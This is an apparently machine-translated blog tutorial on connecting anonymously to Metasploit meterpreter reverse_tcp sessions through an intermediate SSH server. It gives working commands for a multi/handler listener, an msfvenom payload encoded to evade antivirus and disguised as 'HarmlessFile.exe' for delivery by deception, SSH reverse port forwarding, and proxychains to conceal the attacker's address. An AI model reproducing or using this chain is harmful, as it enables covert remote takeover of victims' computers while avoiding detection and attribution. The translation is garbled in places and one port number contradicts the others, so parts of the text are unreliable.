Anonymous connect to meterpreter / reverse_tcp via an intermediate server using SSH tunnels

Hello! This article is intended more likely to beginners who are just starting their acquaintance with the Metasploit Framework, but already understand something. If you consider yourself an experienced specialist and you are interested in the name, you can go directly to TL; DR; in the end. This article will discuss how to arrange anonymous access to the meterpriter shell via reverse tcp using an intermediate server and SSH tunnels.

Disclaimer: the Chukchi is not a writer, not a safe man, and in general he can hardly identify himself as professionals in any field. But the Chukchi wanted reverse tcp through tor and did, and now you have to read it. And also remember that such actions can be performed only in the places authorized for you, otherwise you will face several articles of the criminal code.

Introduction

Suppose we found a hole in the wind machine and want to penetrate it. Consider the options, and the usual cmd we are not interested, then meterpreter, we will talk about it.

There are two basic principles for connecting meterpreter with sheath: direct and reverse. In meterpreter, there are many connection options, but in this article we will only talk about bind tcp (direct) and reverse tcp (reverse).
')
What pitfalls await us if we want to use bind tcp , thus opening the port of the victim and then connect through a proxy or tor? First, the victim's firewall will ask why this incomprehensible program is trying to get on the Internet and can it manage it? Suppose a user is stupid (which most likely is) enough to allow our program to open a port, ask yourself, who now goes directly to the Internet and has a white ip? Few of these remain, now routers are everywhere, and therefore our port will be available only on the internal network. If we get confused and push the port out, then the last problem remains: you need to know ip to connect, but it can change from time to time. But, if all the above conditions are met, then you can connect through a chain of proxies from any location.

What about reverse tcp connections? The firewall does not swear, the router is also not a hindrance - the victim will connect to us, so there is no need to monitor her ip address. But a more serious problem arises - anonymity. We need to specify where the victim will connect, that is, write your ip, which can be seen through the same netstat. And then uncles in clean suits or a vengeful victim with the right acquaintances can, as they say, calculate by ip and clear the shoes themselves, you know what to do. Another disadvantage is that our ip must be permanent in order to be able to connect to the victim again.

How to be? How to preserve anonymity and be able to log in from anywhere?

I found the following way out of this situation: we need an intermediate server with ssh access, where the victim will cling to reverse tcp, and we will forward the port from this server to ourselves and thus connect to the victim. If suddenly you do not understand anything, then do not worry, then I will tell and show everything.

Initial conditions

I will demonstrate the whole process in the following conditions:

1. The attacker will be the Kali Linux 2 virtual machine with the IP address 192.168.1.50
2. Virtualca with Windows 7 will be the victim. IP - 192.168.1.146
3. Intermediate, read proxy , Fedora with IP 192.168.1.10 will be the server

Do not look at the fact that they are all on the same network - this method will work fine in real conditions, when the proxy server, the victim and the attacking machine are all on different networks, but with access to the Internet.

First, let's launch the handler - a program that will wait for a connection from the victim on port 4444, so that when connected, send meterpreter to it. To do this, in the Kali command line, run msfconsole and execute the following commands in it:

Select handler:

use exploit/multi/handler 

We inform that on the victim we will have the meterpreter payload with a reverse connection running:

 set PAYLOAD windows/meterpreter/reverse_tcp 

We specify the load parameters - we will listen on port 4444 of our ip address (why not I will tell 127.0.0.1 later).

 set LHOST 192.168.1.50 set LPORT 4444 

We start and leave in this form until better times.

 run 

Creating an exe with a payload

Then we will generate a program, which will connect through a proxy to us. Open a new tab of the terminal and type the following:

 msfvenom -a x86 --platform Windows -f exe -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=22222 -e x86/shikata_ga_nai -i 13 -b '\x00' > HarmlessFile.exe 

Briefly tell about the arguments.

The first three are obvious - processor architecture, platform, and output file format. The -p argument is immediately clear to those who are a little familiar with Metasploit: we chose the meterpreter wrapper to be connected to the LHOST host’s LPORT port, which in this case belong to our proxy server, as the payload .

The last 3 arguments describe the encryption method for bypassing the antivirus (at the same time we will check if we can fool the antivirus). In this case, we use 13 iterations of polymorphic XOR coding shikata ga nai , and with the help of -b we mark the zero byte as “bad”, that is, we say that it should be avoided. The whole thing is recorded in the file HarmlessFile.exe, which we need to use with the help of tricks and deception to deliver to the victim. But I am the master of virtual machines, so just copy it from Kali to Windows.

Avast did not fall for it and proudly reported the threat, therefore he was killed on the spot, so as not to interfere with the trials. The file is in place, now we are preparing our server.

Server Tuning

We will use static port forwarding.


The exe port we created was 22222, and on Kali we listen to port 4444. So, so that all requests going to server port 22222 were broadcast to our port 4444, you need to write the following command to Kali:

 ssh -v -N -R 22222:127.0.0.1:4444 user@192.168.1.10 

To find out why this does not work , we will understand what we wanted to achieve with this team. I like it when there is information on the screen about what is going on, so I added -v, but we don’t need access to the shell, so -N (in this case, we will not be seen in who on the server). The magic argument -R 127.0.0.1:22222:127.0.0.1:4444 describes the packet forwarding rules: from the address on the server 127.0.0.1:22222 to our local address 127.0.0.1:4444. The first 127.0.0.1 is implied, so we omit it.

The caveat is that by default the port on the server that has been forwarded in this way will only be accessible from the server localhost, and if you try to connect from the outside, nothing will happen and there will be no errors.

Let's correct the situation - open the ssh daemon config on the proxy server - / etc / ssh / sshd_config , look for the GatewayPorts string, uncomment it and set it to yes . We reload the config via service sshd reload and now we run the command with a calm soul.

And now an interesting point. When I studied all this, I managed to connect the victim to my handler with similar manipulations and successfully open the command line of the meter, but when entering any command (even help), he closed the connection with wild errors. Now, when I write an article, everything works. Even if everything worked for you and so, I still recommend reading the following paragraph.

After long hours of googling, a comment by the developer of the meterprinter was found that it is not necessary to specify LHOST (that is, the address of the host on which to listen) 127.0.0.1. Need to write something like 127.0.0.2, or 0.0.0.0. But if we choose the first option, then ports need to be thrown to 127.0.0.2. But with this option, I fell errors. After even longer hours of googling, another developer’s comment was found, who said a little more: you can’t hang not only on 127.0.0.1, but also on the loopback interface, because it is reserved and will not work stably, and recommended to hang the handler on another network interface, for example eth0. So we will throw on him. The command takes the following form:

 ssh -v -N -R 22222:192.168.1.50:4444 user@192.168.1.10 

Already better, but through proxychains it still will not work. To fix this, we forward through the ssh proxy server of the server to ourselves, and through it we already forward the port of the meter.

It is said that proxychains, included in the standard Kali 2 assembly, are already a bit old and have long been abandoned. He periodically crashed with a segfault error. Therefore, I set myself proxychains4 (proxychains-ng) from here , but the old one was blown away and I was satisfied, which I advise you.

Throw ssh:

 proxychains4 ssh -v -N -L 42022:127.0.0.1:22 user@192.168.1.10 

Now all requests to our address 127.0.0.1:42022 passing through proxychains fall on 192.168.1.10:22 and so we get anonymous ssh access to the proxy server. Through him prokidyvaem port meterpritera.

 ssh -v -N -R 22222:192.168.1.50:4444 user@127.0.0.1 -p 42002 

Notice that we are connecting on 127.0.0.1:42002, and not on 192.168.1.10:22. All is ready! Launch Kraken Run HarmlessFile.exe on the victim and enjoy the result.




I’ll reiterate that I described the method that worked for me and fulfilled the task I needed - anonymity and mobile. Maybe there are other, simpler ways to achieve the same, but I did not manage to unearth them.

My first article in your court - constructive criticism is welcome, please report typos in a personal.

Useful links:

Memo to ssh users is a wonderful description of SSH features, in particular, about SSH tunnels.
Meterpreter basic commands - description of basic Meterpreter commands.

And 2 more outdated articles, but they have a description of more interesting features of Meterpreter.

Secrets of Meterpreter Payload
Meterpreter in action: tricks through msf

Proxychains-ng repository